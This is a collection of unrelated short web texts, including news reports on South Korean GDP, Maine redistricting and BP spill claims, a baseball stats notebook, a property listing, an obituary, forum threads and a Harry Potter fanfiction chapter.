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SEOUL, Jan. 22 (UPI) -- South Korea's economy grew 2.8 percent year-on-year in 2013, although fourth-quarter growth slowed from the earlier quarter, the central bank said Thursday.
In 2012, South Korea's gross domestic product was up 2 percent year-on-year.
The Bank of Korea on its web site said last year's fourth quarter GDP grew 0.9 percent from the earlier quarter, or slower than the 1.1 percent quarter-to-quarter growth in the third quarter. But the fourth quarter figure was up 3.9 percent from the same quarter of last year.
South Korea's economy is Asia's fourth largest, after that of China, Japan and India.
The central bank said last year's growth was led by strong exports, which account for about half of the country's GDP, and rising private spending. Exports rose 2 percent in the fourth quarter from the previous three months, after falling 1.3 percent in the third quarter.
Speaking to reporters, Jung Young-taek, the head of the bank's economic statistics division, blamed the fourth quarter results on decline in government spending caused by a fall in tax revenue, Yonhap News reported.
He said it remained to be seen whether capital investment would maintain its growth, the report said.
Economic growth in the bank's estimate is forecast at 3.8 percent for this year. Inflation outlook was reduced to 2.3 percent for 2014 from the earlier estimate of 2.5 percent. The key interest rate remains unchanged at 2.5 percent.


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24 Durham Road Kilsyth 3137 VIC
A warm welcoming home on a large 509m2 corner block will provide options to enjoy the familiar neighbourly surrounds and amenities, including the Kilsyth shops, with plenty of pristine parks close by, as well as having the open spaces of Elizabeth Bridge Reserve located just across the road. Updated and family ready, the interior showcases exposed hardwood floors throughout, three zoned bedrooms and a stylish modern bathroom with a freestanding bath and a walk in shower, together with an open plan living, dining and kitchen area. A great place to stay connected and to watch over the family, this lovely light filled room also features an open fire place and access onto the back deck. Generous inclusions deliver a superb young family home with new window blinds, ducted heating, split system air conditioning, a repointed and sprayed roof, ample off street parking and quality kitchen appliances including a Fisher & Paykel dish drawer dishwasher.
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The beautiful LaLa Anthony stopped by Shade 45 to speak with DJ Whoo Kid.
Does LaLa really taste like Honey Nut Cheerios?? Did Kevin Garnett really say that about LaLa? What does LaLa's son think about having such a beautiful mother? Hows it feel to be on the 3rd season of her show, 'LaLa's Full Court Life?' Lesbianism?? Does LaLa really have her own cosmetics and clothing line? Think Like A Man Part 2?? How did LaLa and Kim Kardashian become so close? Does Carmelo know how to dance? Spotted D***?? Does LaLa own a gun?
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This Saturday night in Los Angeles, Quentin Tarantino, Bradley Cooper, Kate Beckinsale, Zoe Saldana and Lena Headey will join honoree Paul Reubens at the Scream Awards, a two-hour event premieres Tuesday, October 18 at 9/8c PM, ET/PT on Spike TV.
Spike TV will honor the man responsible for one of the most iconic characters of all time, as Paul Reubens will receive the Visionary Award for his work as Pee-wee Herman over the past three decades at SCREAM Awards 2011. The two-hour event premieres on Spike TV on Tuesday, October 18 (9:00 – 11:00 PM, ET/PT), and will be simulcast on VH1 and VH1 Classic. Reubens joins an illustrious list of past "SCREAM Awards" honorees, which includes Johnny Depp, Harrison Ford, Keith Richards, George Lucas, Tim Burton, Quentin Tarantino, Sir Anthony Hopkins, Christopher Nolan and Robert Downey Jr., among others.
Reubens will be honored for the multitude of ways he entertained audiences as Pee-wee Herman since his introduction of the character in 1978. From the 22 time Emmy Award winning "Pee-wee's Playhouse," to the lengths Herman went to be reunited with his bicycle in "Pee-wee's Big Adventure," to the "The Pee-wee Herman Show" on Broadway, Reubens exhibited one of a kind creativity and groundbreaking originality, and has had an extraordinary impact on generations of fans.
Said Reubens on his receiving the honor, "If Pee-wee were giving this quote, I think he'd scream out 'I'm a visionary! I'm a visionary!' and then run to the dictionary to look up what visionary means. But I know what it means, and I am profoundly grateful and honored to Spike TV for this recognition. I share this with all the amazing collaborators I've had over the years, and my fans, without whom none of this would be possible or worth it."
"Paul Reubens had a big vision, and in bringing Pee-wee Herman and his amazing Playhouse to life, he brilliantly brought us all along on a very big adventure," said Michael Levitt, executive producer of Spike TV's "SCREAM Awards 2011." "Pee-wee speaks to the inner child in all of us, with a grown up wit and a timeless irreverence. At the Scream Awards, we honor a wide range of visionary geniuses, and it has been a longstanding dream to have this chance to honor Paul – and Pee-wee – with the Scream Visionary Award."
The show will also feature visionary director of "Pulp Fiction," "Kill Bill" and "Inglorious Basterds," Quentin Tarantino, "The Hangover's" Bradley Cooper and "Underworld" and "Van Helsing" star Kate Beckinsale. These names are in addition to the already confirmed list of talent that includes two-time Academy Award nominee Robert Downey Jr., Academy Award winner Nicolas Cage, "Black Swan" director Darren Aronofsky, "Lost" creator J.J. Abrams, star of "Kick Ass" and "Let Me In" Chloe Moretz, Kal Penn and John Cho of "Harold and Kumar" fame, "True Blood" star Joe Manganiello, "American Horror Story" lead actor Dylan McDermott, "Dr. Who's" Matt Smith, "Fringe" star Anna Torv and "Death Valley" cast members Bryce Johnson and Caity Lotz, with more talent to be announced.Fans can vote, as well as view exclusive red carpet and backstage coverage of the event, by visiting scream.spike.com.


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MLB.com Columnist
Roger Schlueter
MLB Notebook: Scutaro falls short of 'double cycle'
MLB Notebook: Scutaro falls short of 'double cycle'
If it wasn't a banner day for the Melton family, it had to be the greatest day in the baseball life of Phil Weintraub. Playing first base for the Giants that afternoon, Weintraub doubled twice, tripled once, homered once and drove in an astonishing 11 runs -- in Major League history, only Jim Bottomley and Mark Whiten had more RBIs in a game.
Weintraub was 36 years and 201 days old for that contest -- just about three months younger than Marco Scutaro was on Wednesday night, when the San Francisco third baseman had his own career game. Among other things, Scutaro fell a bases-loaded triple shy of becoming the only player in the live-ball era to hit for a double cycle: collecting one RBI on a single, two RBIs on a double, three RBIs on a triple and hitting a grand slam.
In the Giants' 15-0 walloping of the Cardinals, Scutaro went 3-for-6 and posted a career-best seven RBIs (his previous high was four). Scutaro was the first Giants player with at least seven RBIs since Jeff Kent had seven on May 1, 2001, and the first Giants third baseman to have that many since Cory Snyder drove in seven on June 6, 1992. Scutaro singled in a run in the third, drove in two with an eighth-inning double and then hit a grand slam in the ninth.
More from the Giants' rout
The Giants' 15-run win was their largest margin of victory in a shutout since beating the Expos, 18-0, on May 24, 2000. The Cardinals had not allowed so many runs in a shutout loss since losing, 19-0, to the Pirates on Aug. 3, 1961.
San Francisco starter Ryan Vogelsong threw seven scoreless innings and picked up the win to improve to 10-5 on the season. Vogelsong, who owns the National League's lowest ERA at 2.27, has gone at least six innings in all 21 of his starts this year -- the longest streak from the onset of the season for a Giants pitcher since Atlee Hammaker had a 21-game streak in 1983.
Big night for Marlins
The Marlins defeated the Mets, 13-0, with the 13 runs representing the franchise's largest margin of victory in a shutout since beating the White Sox, 13-0, on May 23, 2010.
In his second game since returning from a lengthy stay on the DL, Giancarlo Stanton hit two homers for the Marlins. Stanton's pair gives him 77 home runs in 1,168 career at-bats.
The 77 homers are the 16th most for any player through his age-22 season. With the two, Stanton broke out of a tie with Joe DiMaggio and Juan Gonzalez, and then also passed Orlando Cepeda.
Twenty players in history have hit at least 70 home runs through their age-22 season. Among those 20, Stanton's rate of one for every 15.17 at-bats is the third best. Bob Horner (total of 91) averaged one for every 13.99 at-bats, while Eddie Mathews (112) averaged one for every 14.13 at-bats.
Marlins shortstop Jose Reyes went 1-for-3 to extend his hitting streak to 26 games.
The streak tied Reyes with Emilio Bonifacio (2011) for the second longest in Marlins franchise history. Only Luis Castillo (35 in 2002) owns a longer run for the club.
Bonifacio and Reyes are tied for the fifth-longest hitting streak by a switch-hitter in the past 40 seasons. Pete Rose hit in 44 straight in 1978, Jimmy Rollins put together a 36-game run in 2005, and Castillo had his streak of 35 games in '02. Jose Offerman also hit safely in 27 straight games in 1998.
Curtis Granderson hit his 30th home run of the year in the Yankees' 12-8 win over Detroit, giving the New York center fielder his second straight season with at least 30. Granderson, who has hit the most home runs in the Majors since 2011, is the third Yankees center fielder with back-to-back 30-homer seasons. Mickey Mantle reached 30 in eight straight seasons from 1955-62, while DiMaggio hit at least 30 in five straight years from 1937-41.
Yankees captain Derek Jeter went 2-for-6 and scored a pair of runs, giving him 951 career multihit games. Those 951 tied Jeter with Tony Gwynn for the fifth most for any player since 1918. Jeter's 44 multihit games this season are third most in the Majors, behind the 51 from Melky Cabrera and the 46 from Miguel Cabrera.
Nationals starter Gio Gonzalez, who entered his outing on Wednesday with the lowest hits allowed per nine innings (6.68) in the NL, surrendered nine hits in a complete-game effort, beating the Astros, 4-3.
Gonzalez, who also hit his first career home run, improved to 14-6 for the season and still leads in hits allowed per nine innings. He was the first Nationals pitcher to allow at least nine hits in a nine-inning complete game since Craig Stammen on July 11, 2009. In that game, Stammen also allowed nine hits, also in a start against the Astros.
Josh Hamilton fell a double shy of the cycle and drove in four runs, and the Rangers defeated the Red Sox, 10-9.
Hamilton, whose 30th homer kept him tied for second in the American League, is also tied for the lead in RBIs (95), is fourth in slugging (.575), sixth in OPS, (.926), fourth in total bases (226) and tied for sixth in extra-base hits (51).
The Athletics defeated the Angels, 9-8, despite allowing five home runs.
Before this contest, the A's had played only one game since 1918 in which they allowed as many as five long balls and still won. On April 23, 1985, Oakland surrendered six home runs vs. the Angels but came away with a 14-9 victory.
Roger Schlueter is senior researcher for MLB Productions. This story was not subject to the approval of Major League Baseball or its clubs.


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Legal Question in Family Law in Illinois
Recently I had my child support increased 200 a month, c.s.e. has n creased it by $400 month, do I need to go back to court or go to c.s.e.? They are impossible to reach by phone, and don't respond to email. I am in Illinois.
Asked on 8/01/13, 6:51 pm
1 Answer from Attorneys
Jonathan Shimberg SHIMBERG and CROHN, P.C.
It depends why and where your support was increased. If it is because of a claimed arrearage and you dispute the arrearage, then you need to go where the order was entered, be it court or administrative agency. If it was increased, that was done by order. You should have received notice of that proceeding. If you did not, do to the administrative agency or court. If you did receive notice, you legally had your chance and ignored it.
Answered on 8/02/13, 4:34 am


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GK Chesterton could be declared a saint
And Pope Francis' election could further smooth the way for the beloved author and apologist
Kevin Jones, CNA International
August 12, 2013
Devotees of the English writer and Catholic apologist GK Chesterton rejoiced at the news that a Catholic bishop in England is seeking to open an investigation into whether he should be declared a saint.
"A lot of people have been hoping for this for a long time," Dale Ahlquist, president of the American Chesterton Society, told CNA August 6.
"Chesterton has a huge devotion to him around the world, particularly here in America. There are people who have long believed that he is someone who should be raised to the altars and have already privately started asking for his intercession."
Ahlquist made the announcement on August 1 during the American Chesterton Society National Conference at Assumption College in Worcester, Massachusetts, citing Martin Thompson, head of an English Chesterton group.
Thompson said that Bishop Peter Doyle of Northampton is "sympathetic" to those who desire to see Chesterton canonized and is "seeking a suitable cleric to begin an investigation into the potential for opening a cause for Chesterton."
Ahlquist said the announcement caused "huge cheering and applause and great emotion" at the conference.
"People jumped to their feet, they started cheering. People were crying. It was a great moment," he added.
Chesterton lived from 1874 to 1936. Under the influence of his wife Frances, he became a devout Anglican Christian. He later converted to Catholicism in 1922.
Known for his witty writing and love of finding truth in apparent paradox, Chesterton authored literary essays, novels, poetry, plays, philosophical works and Christian apologetics. His short stories include the Father Brown mystery series, and he influenced the thinking of many converts and writers, including CS Lewis.
Ahlquist said Chesterton was "an articulate defender of the Catholic faith" and "very prophetic."
"He definitely saw what's going on in our culture with regard to the attack on life, the attack on marriage, the huge economic disparities that exist," he said. "Chesterton seems to get it right about all those things. But he does it with joy, with charity, and with goodness, without banging the table of condemnation."
In Ahlquist's view, Chesterton's cause for canonization may have gotten a boost from Pope Francis' election.
A March 10 letter to Thompson from Miguel Angel Espeche Gil – an Argentine ambassador who heads a Chesterton group in Argentina – noted that the then-Archbishop of Buenos Aires, Cardinal Jorge Bergoglio, "encourages us in our aspiration to see the initiation of the Cause of Chesterton to the altars."
Cardinal Bergoglio, who was elected as Pope Francis on March 13, approved the text of a private prayer for the canonization of Chesterton.
Full story: Possible sainthood cause for Chesterton sparks excitement
Source: Catholic News Agency
Bishop of China's Fengxiang Diocese dies aged 96
Bishop Luke Li Jingfeng will be remembered for having helped build more than 50 churches
Indonesian Catholics turn backs on detained house speaker
Setya Novanto from Christian majority East Nusa Tenggara Province is embroiled in US$170 million corruption scandal
Vietnam archdiocese marks World Day of the Poor by giving food
In his message for the day, Pope Francis said sharing with the poor enabled Catholics to understand the truths of the Gospel
Bishop criticizes politicians for branding India's secularism a lie
The issue was raised to distract peoples' attention from matters of more pressing concern, says Bishop Theodore Mascarenhas
The rise of radical Islam in Bangladesh
The legacy of war is strongly ingrained in the psyche of most Bangladeshis


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Sarkis Meterissian0000-0002-9586-3583
Sarkis Meterissian is a graduate of the McGill University Faculty of Medicine. He completed his surgical residency at McGill University as well as a Masters in Experimental Surgery. This was followed by a 2-year surgical oncology fellowship at the Deaconess Hospital in Boston under the direction of Dr. Glenn Steele. He then completed a 2-year surgical oncology clinical fellowship at the MD Anderson Cancer Center in Houston under the direction of Dr. Charles Balch. He is presently an Associate Professor of Surgery and Oncology at McGill University. He is also the Director of the Cedars Breast Clinic of the McGill University Health Center. From 2001 to 2007 he was Program Director of General Surgery and is presently the Associate Dean of Postgraduate Medical Education. Currently he is President of the Canadian Society of Surgical Oncology. Dr. Meterissian's clinical interests are breast cancer, melanoma, soft-tissue sarcomas and rectal cancer. His research interests are mainly in the area of breast cancer where he is interested in gene profiling and the use of microarray technology to determine markers of prognosis and response to chemotherapy. He is a member of the Society of Surgical Oncology, Breast Surgery International and the American Society of Clinical Oncology. He has over 80 peer-reviewed publications and has presented his work nationally and internationally.
Biography Updated on 2 November 2008


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Wanted: XTR Surfboard
I am looking for an XTR foam surfboard. Anybody know anyone who wants to sell me a board? Price can be neg. based on the quality of the board. Sorry but I'm only looking for XTR foam.
Results 1 to 2 of 2
Thread: Wanted: XTR Surfboard
May 5, 2011, 07:10 PM #1Senior Member
- Join Date
- Feb 2010
- Posts
- 207
Wanted: XTR Surfboard
May 5, 2011, 10:34 PM #2
xtr is some great sh it. check out localswell.com the classified ads forum. there was a xtr lost scorcher on there a couple weeks ago.


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Sol Schwartz
88, WWII vet, former letter
carrier and bank employee
Sol Schwartz, 88, of Lititz, died unexpectedly Wednesday, May 15, 2013, at Lancaster General Hospital in Lancaster.
Born in Brooklyn, N.Y., he was the son of the late Harry and Bessie Schwartz. He was married for 59 years to Marian Schwartz.
Sol worked in New York for the Postal Service as a letter carrier and for several banks in New York over the years. He served in the U.S. Navy during World War II and subsequently volunteered for numerous Veterans events. A patient and very generous man, he loved his family dearly and was an avid N.Y. Yankees and N.Y. Giants fan.
In addition to his wife, he is survived by two daughters: Janice Shabtay of Lititz; Judy Cutrupi, wife of Vincent of Staten Island, N.Y.; a son: Richard, husband of Gail Schwartz of Staten Island, N.Y.; and five grandchildren: Brandon Cutrupi; Laura and Zack Schwartz; and Talia Bess and David Shabtay.
Private services will be held at the convenience of the family.
In lieu of flowers, Memorials may be made to The Greater Pennsylvania Alzheimer's Association, 3544 North Progress Ave., Suite 205, Harrisburg, PA 17110 or his Grandchildren's Education Fund: c/o Fulton Bank, 481 Royer Drive, Lancaster, PA 17601.
Online condolences may be posted at thegroffs.com.


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Reviews For Carhartt Sweatshirts Style CHTFRK127
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Average Customer Review
This Product:
Carhartt Sweatshirts: Men's Navy Pullover Flame Resistant Sweatwhirt FRK127 NVY
3 out of 3 people found this product review helpful.
This sweatshirt is so warm and flame resistant!...
By: SavageGem
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Wow, this is great! Pineapple & coconut mixed together beautifully. I love this with a bit of cream, hot or iced it's great both ways! It smells very strong, the flavor isn't as powerful as the smell but that's alright. It's still delicious. My first attempt at iced tea & I think it turned out pretty nice. Will buy again in large quantities.
205 °F / 96 °C 5 min, 0 sec


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ESL Job Feed is the most eclectic and broad source of ESL jobs and teaching positions available worldwide.?ESL Job Feed publishes links to ESL Job postings from a variety of sources including TESall, Total ESL, Yahoo!/Monster, Guardian Jobs, Chronicle of Higher Education, craigslist, TESOL Org, TEFL and many more. From conversation schools for beginners to university positions for teaching veterans,?ESL Job Feed is your source for English teaching positions worldwide.
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Date 2013-01-19 06:01:59 Location : Asia:China
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Native English speaker with an excellent command of written English
A degree in theatre/drama, or a related field preferable (recent grads most welcome)
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ESL qualifications and/or experience preferred, though not essential.
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Piers Morgan's real name might be Piers Marmite for all the grimaces he attracts. You either hate him, or you affect not to like him very much. His video performance on the Leveson interview show attracted predictable snarls and loathing from fellow journalists on both sides of the Atlantic. It's instructive to wonder why.
A silver spoon beginning? No, his dad (name: O'Meara, a dentist) died when he was one. He did his O-levels at Challey comprehensive, East Sussex, and his A's at a sixth-form college in Lewes. Oxbridge? Dream on … Try Harlow College. A plum job in Fleet Street? Try beat reporting for the Streatham and Tooting News.
OK. So Kelvin at the Sun spotted a showbusiness talent worth hiring. So Rupert, the Sun God, spotted a stripling editor for his News of the World. So the Mirror poached him and he met Tony Blair 58 times (more than Murdoch himself). So he finally got serious, opposed the war in Iraq, innocently published some hoax atrocity pictures and was asked to clear his desk. So why is that quite so loathsome?
He left newspapers and went into TV, with signal success. Maybe his CNN interview show isn't a ratings wonder (but just look at CNN's ratings as a whole). Maybe his tweets and boasts and tall stories rile rivals and sum up a trade that loftier operators disdain. But who would even they throw off the lifeboat first: Morgan, or Heather Mills? In short, the histrionic loathing is much overdone; and the pursuit of the Piers of long ago seems merely gratuitous. Leveson flays evasive Morgan shock? No need for that, if you can reach for the remote and just switch him off.


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Chapter 1 : Harry Potter and the Shovel of Logic
|Rating: 12+
|Chapter Reviews: 109
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Harry was unfortunately stubborn and uncommonly stupid when it came to relationships. She didn't care about what danger there might be ahead of them, she was in danger everyday. This was a war, and he couldn't expect her to just sit down in her room and play gobstones while her brothers, parents and friends fought it. She wouldn't and she'd be damned if Harry treated her like a little girl again, not after this year.
She looked away from Harry, deciding she would actually have to chain herself to something to stop herself from going to him if she kept staring. How could they have accumulated so much distance in just a few minutes?
She turned sharply; fisting her hands into her robes and began walking without any forethought as to where she was going. She kept her eyes to the ground, mentally having an argument with Harry in her head about how he was a Great Dolt; she had just made a salient point on how she was in danger everyday: her family was one of the most notorious blood traitors in the world, if he didn't think that they weren't targets he was absolutely barmy when she bumped into someone. They both managed to get tangled in the other's robes and went tumbling rather quickly towards the rows of chairs.
"Ow. I am so sorry, I wasn't looking where I was going and I…"
"It's no matter, I'm used to it. Here, I think your foot is my pocket, I've no idea how that happened…"Tonks said, smiling kindly as she fought with the material to release them. "I'd do a Disentanglement Charm, but I've been a bit under the weather lately, we might both end up naked."
"Wouldn't want that, it's terrible form to not wear correct dress to a funeral," said a tired voice from above them. Lupin helped to separate the two of them and he gently helped the two of them up, doing a quick tidying charm on the chairs.
"Dumbledore would've had a laugh," Tonks said
"He would have," Lupin replied, a sad smile on his face. "Are you two all right?"
"I'm fine Remus, just another little stumble, I've survived more of them than you've had haircuts," she squeezed his hand reassuringly and Ginny was reminded again of what she had been trying to walk away from.
"I wasn't looking where I was going, I'm so sorry Tonks," Ginny said quickly, straightening her robes and plucking the grass from her hair. "Thank you, Professor," she added, and he smiled at her warmly, the lines on his face crinkling, for some reason, the expression comforted her.
Tonks waved her apology away casually, "Don't worry about it, Ginny. Are you okay?"
"I'm not hurt or anything, just a little embarrassed."
Tonks laughed, "You get used to the feeling."
"I hope I don't. No offence Tonks," Ginny said, her mood had started to pick up.
"How's Harry?" Lupin interjected, craning over to see him.
"Harry? He's…he's okay," she considered telling them about his plan to go off alone, but it still felt like a betrayal confidence, no matter how stupid she thought it was. Because who needs highly trained and experienced wizards when you've got righteous anger?
Tonks was looking at her curiously and when she glanced over at Harry, she seemed to realise something was going on. "Remus, why don't you go ask Harry for yourself instead of interrogating Ginny?"
"I wasn't, I was…" Tonks gave him a very pointed look and touched his arm gently. "I'll be back in a moment," he sighed; a look of marvel fixed itself on his otherwise drawn features as he strode off towards Harry, who was now alone.
"What line did he feed you?"
"Excuse me?"
"Has to save the world from unspeakable evil? Thinks it's too dangerous for you to be together?"
Ginny stared at her, gob smacked. "How did you know?"
"I heard those same excuses about a year ago. Men seem to all follow the same manual. All have to be big damn heroes about it."
Ginny laughed despite herself, "He thinks I'll be a target if we keep seeing one another. Doesn't want to see me hurt, and I can understand where he's coming from, but in case he hasn't noticed, there's not much he can really do about that unless the war were to end tomorrow," she paused, "and that's not going to happen unless Harry ends it," she added softly.
Tonks nodded sympathetically, "He can't expect that just because you two aren't together, you won't get hurt. We're all in this together and you can't put a hold on life until it's over. Harry's parents stuck together."
Ginny gave her a look.
"Bad example, but so did your parents, they created a life and didn't let He-Who…Voldemort dictate their lives, none of them did and I'll bet none of them ever regretted their decision. We can't let Him even get that satisfaction."
"You're making an incredible amount of sense," Ginny told her.
"I've had these exact arguments with myself and with Remus, I can rattle them off like the alphabet." She blushed a little as she said his name.
"I'm so happy for you," she grinned. "It's good to have the old Tonks back."
"Apparently I don't take well to rejection." She looked over at Lupin and Harry, who seemed to be in the midst of an awkward conversation, and smiled fondly. "But I'm persistent."
"Men are thickheads," Ginny sighed, following her line of sight. Harry glanced back at her fleetingly.
"Yeah, well…" Tonks shrugged. "He's convinced himself that he knows what's best for you, I doubt he even knows what's best for himself. Clearly doesn't know how to brush his hair properly," Tonks said, but her laughter was hollow and brittle, carried away by the breeze. She ran a hand through her hair anxiously and it turned a violent shade of purple. "Don't let him do this to you… or to himself. Just because we're fighting a war, doesn't mean he has to be miserable."
Ginny wondered how much of this conversation she's actually been through with her own thickheaded boyfriend (it felt strange to think of Professor Lupin as anyone's boyfriend, let alone Tonks': bright, bubbly, clumsy Tonks and the wearied, mild mannered Professor who had lived through the deaths of all his closest friends)…but there was something about Tonks that she recognised and it made her feel a little safer knowing that even adults went through this rubbish and half witted members of the opposite sex could be talked around into sanity.
"I feel so stupid, worrying about all this now, not when…" she trailed off.
"When everything's gone to hell?"
Ginny nodded solemnly.
"Life goes on, Ginny. Don't feel guilty because you want a little bit of normalcy."
"You know, you're a lot wiser than you look," Ginny grinned.
Tonks gave a thoughtful look and squeezed her face into a replica of Lupin's. "Look wise enough?"
"You look daft to me," Lupin said genially, joining them again.
Tonks relaxed her features and smiled at him.
"Remus, Nymphadora," McGonagall called, making her way slowly towards them. "I need to speak with the both of you."
Lupin and Tonks both nodded, and said their goodbyes to Ginny.
She looked out across the lake, observing how the sunlight danced over the water. The Minister for Magic seemed to be involved deep in conversation with the Chief of the Merpeople, Fred and George were sending Dumbledore a final salute using their finest firecrackers; everywhere people had branched off into little clusters, all attempting to comfort one another.
It was disquieting to think of a world without Dumbledore, it was as if everything had been thrown out of balance without his presence.
She looked over to her left, finding Harry again. The two of them seemed to be the only ones standing by themselves. He was staring up into the sky, squinting at the sunshine, he stood straighter than she remembered him ever doing, he usually hunched as if he could make himself small enough so that the world would forget about him, his hair stood up against the breeze in unmoving tufts.
She looked back at Lupin and Tonks once again and noticed the way her hand rested so easily on his back and the quiet awe that radiated from him.
She took a couple of steps towards Harry and he turned to see her approaching. He gave her a grizzled smile and she caught something like desperation in his eyes that stopped her from advancing any further.
As he looked at her, the façade fell away revealing a confused and defeated looking teenaged boy. He silently pleaded with her to stop, don't make this harder. Please.
She gave him a sad smile and didn't take another step.
Not today.
A/N: Go easy on me, this is my first attempt at Trio romance and my first time on the fic wagon in quite some time, but feel free to give your opinions as I know it has many faults and I hope you enjoy. Thanks to Lucid for helping me come up with a title :P (Its subtitle, which you cannot see is Harry Potter and the Shovel of Logic)
Oh and this should owe its start to a challenge set by lostandlonely on the forums, it was going to be an essay on the two 'ships, but I was nudged in the direction of a fic.
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I'll Follow the Sun: Harry Potter and the Shovel of Logic
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AUGUSTA — The Maine Legislature voted to pass a compromise congressional re-districting proposal, which balances the population of Maine's two congressional districts.
The proposal, negotiated between Republicans and Democrats, is known as the 'Waterville-Winslow' plan and swaps Kennebec County municipalities. The plan calls for Waterville and Winslow to move from the 2nd Congressional District to the 1st Congressional District. The following municipalities would move from the 1st Congressional District to the 2nd Congressional District: Albion, Unity Township, Sidney, Belgrade, Rome, Vienna, Mount Vernon, West Gardiner, Gardiner, Monmouth and Randolph.
It also leaves the hometown of Democratic U.S. Rep Chellie Pingree, North Haven, in the 1st District.
No other towns or cities are impacted and would remain in their current district.
Lawmakers had been ordered by a federal court to re-apportion the two districts by Friday, as a result of the 2010 census.
A bipartisan panel that met over the summer was unable to draft a plan winning support of members of both parties and the Legislature appeared poised for a partisan showdown. Republicans, who hold a legislative majority, crafted a bill that would have allowed them to use a majority vote to pass their plan of choice.
But late in the day on Monday, Republicans and Democrats said they were cautiously optimistic a deal could be struck. Both sides praised the other's efforts during today's floor debate.
"I think both parties have stepped forward and stepped up to reach an agreement which meet constitutional and statutory standards," said state Rep. Ken Fredette, R-Newport.
State Rep. John Martin, D-Eagle Lake, said, "in the end, we came together."
"(We) eventually got to a successful, I want to say, victory, for the people of Maine," he said.
The Associated press contributed to this report.


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MISSISSIPPI GULF COAST — To date, BP has yet to pay 63 percent of Mississippians claims for losses from the coast oil spill, announced Attorney General Jim Hood.
However, Hood said he is in no hurry to sue BP.
"It is unfortunate that, despite all its promises about taking care of our residents on the coast, BP is still holding 6,050 actionable claims," said Hood.
Hood and his fellow Gulf State's attorneys general have been working with BP claims administrator Kenneth Feinberg, insisting that BP establish a faster claims process, one that will allow victims to track their claims online.
As of last week, according to BP's own statistics, 63 percent, or 6,050 of 9,600 total actionable claims, are still being evaluated for payment. A total of $28.6 million has been paid to date, with most of that covering property damage and wage loss.
"BP is trying to get by on the fact that they have paid out $28 million, but the reality is that the majority of claims are just sitting on hold," said Hood.
Hood said, for example, there are 1,062 claims from rental property owners, but BP has only paid 363. Same with 213 claims from restaurant owners, but only 53 have been paid. Of 695 boat claims, only 30 payments have been made.
"BP is claiming they haven't yet denied a claim, when the truth is they've only closed a couple of dozen cases," said Hood. "They're skewing the statistics in their favor. They need to move their priority to getting cases resolved and folks paid so we can evaluate just how much they mean it when they say they're going to make everything right again. BP has to step up and get this process moving faster for those in Mississippi who are victims of this devastating oil spill."
Hood said yesterday he hasn't decided yet whether to file a state lawsuit against BP over the Gulf of Mexico oil spill.
In an interview with The Associated Press, Hood said he's taking time to evaluate possible claims for damages created by the spill or by chemicals used to break up the oil. He said determining the environmental impact on fish, for example, could take months or longer.
"We're in no hurry to file any litigation," Hood said.
Alabama's attorney general sued BP last week.
Mississippi's Republican Gov. Haley Barbour last month urged Hood, a Democrat, not to file any "premature" lawsuits against the company. Barbour said after Alaska sued over the Exxon Valdez spill, that state had trouble receiving help from the oil company.


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January 3rd, 2016, 05:43 PM #1How I almost let affiliate marketing ruin my website and my #1 passion in life..
I wrote this article today: (it's located on my website, not trying to spam.. but be REAL once again)
"..And the driving force of that ego was money. Ad dollars & affiliate marketing commissions to be exact. I tasted the punch, it was sweet and I dove in all hungry for that money, money.. I started getting BOLD, my ego was growing as the site traffic and revenue followed. I started to push the industry into a corner, work with me NOW or never."
I started this site for "numero uno" then for friends and family, then for people looking for outdoor gear and then for $$$... Time to get back to my roots.
If anyone has been through this before I would love your input.
January 4th, 2016, 06:21 AM #2
I thought members shall not include link from own site or blog in forum post as rules stated.
January 4th, 2016, 10:31 AM #3
You must climb this mountain. There is no elevator. ---- Don't stick your finger in the liquid nitrogen.
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Carolina China
January 4th, 2016, 11:15 AM #4
Actually, here's what the rules say (emphasis mine):
2) Members shall not include in their posts links to their own sites or blogs, with the exception that on occasion members may post such links to specific articles or images if they are necessary or helpful to the context of a post that has as its primary purpose beneficial information being conveyed to the community. Should a member be determined to have taken advantage of this exception and posted an excessive number of links to their own sites or blogs or if a member is deemed to have posed such links for the purpose of self promotion rather than for the purpose of providing information beneficial to the community, then such links may be removed by the Administrators and/or Moderators without notice and at their discretion.
Moderation points aside, here are my thoughts on the subject of the post:
I totally agree. It's very easy to lose your passion (AND your audience) if your only focus is on making money. I've long advocated that successful affiliates (and web sites in general) must focus first on the customer, without monetization being a secondary concern. When that's flipped around, it's a constant battle to try to get more traffic. When the focus is right, the traffic grows organically.
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The National Women's Law Center filed complaints Tuesday against several businesses and universities, including some in Pennsylvania, claiming the institutions failed to offer pregnancy coverage to their employees' dependent children in violation of federal law.
The center contends the five institutions are ignoring a provision of the federal Affordable Care Act prohibiting sex discrimination in health care programs that receive federal funds and discriminating against pregnant women on the basis of sex.
"This affects young women who are on their parents' plans; they are being discriminated against," said Sharon Levin said, director of federal reproductive health policies at the center. "Those medical costs are substantial."
The complaints were filed with the U.S. Department of Health and Human Service's Office for Civil Rights, which the center says has the authority to investigate potential violations of the law.
The institutions are the Pennsylvania State System of Higher Education, in Harrisburg, Pa.; Battelle Memorial Institute, in Columbus, Ohio; Beacon Health System, in South Bend, Ind.; Auburn University, in Auburn, Ala.; and Gonzaga University, in Spokane, Wash.
The center chose the companies representing different industries and different parts of the country in the hope that if they're ordered to comply, many other companies will follow suit on their own, Levin said.
The organization believes its complaints to be the first to challenge dependent pregnancy coverage exclusions under the federal law. The federal Affordable Care Act allows adult children up to age 26 to remain on their parents' health insurance.
Excluding maternity coverage for female dependent children of employees means young women on their parents' plans receive less comprehensive benefits than those provided to young men, Judy Waxman, the center's vice president for health and reproductive rights, said in a written statement.
The center anticipates that the Office for Civil Rights will investigate the claims and reach an agreement with the companies, Levin said.
A message seeking comment from the federal agency wasn't immediately returned Tuesday.
Representatives for Battelle and Auburn University declined to comment immediately on the complaint.
Maggie Scroope, a spokeswoman for Beacon Health, said that she had not seen any details of the complaint but that the "coverage we offer our associates follows standard health plan design and complies with state and federal laws" as required for ERISA (Employment Retirement Income Security Act) plans, she said in a written statement.
ERISA sets minimum standards for pension plans in private industries.
All Pennsylvania State System of Higher Education health care plans provide maternity coverage to covered employees, spouses and domestic partners, according to spokesman Kenn Marshall. He said in a written statement that employees may choose among several plans, with some providing full maternity coverage to covered dependent daughters and one providing coverage to dependent daughters for some prenatal care and testing and procedures required as a result of complications resulting from pregnancy.
"During our recent procurement for a new healthcare plan, we required the assurance that the plan would be in compliance with the healthcare act," Marshall said.
Gonzaga University spokeswoman Mary Joan Hahn said the school believes its health benefits plan comply with the law.
"Gonzaga University is committed to providing comprehensive and appropriate health care benefits for employees, including maternity benefits," she said in an email.


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Full of Grace by DD Agent
Title: Full of Grace
Author:DD Agent
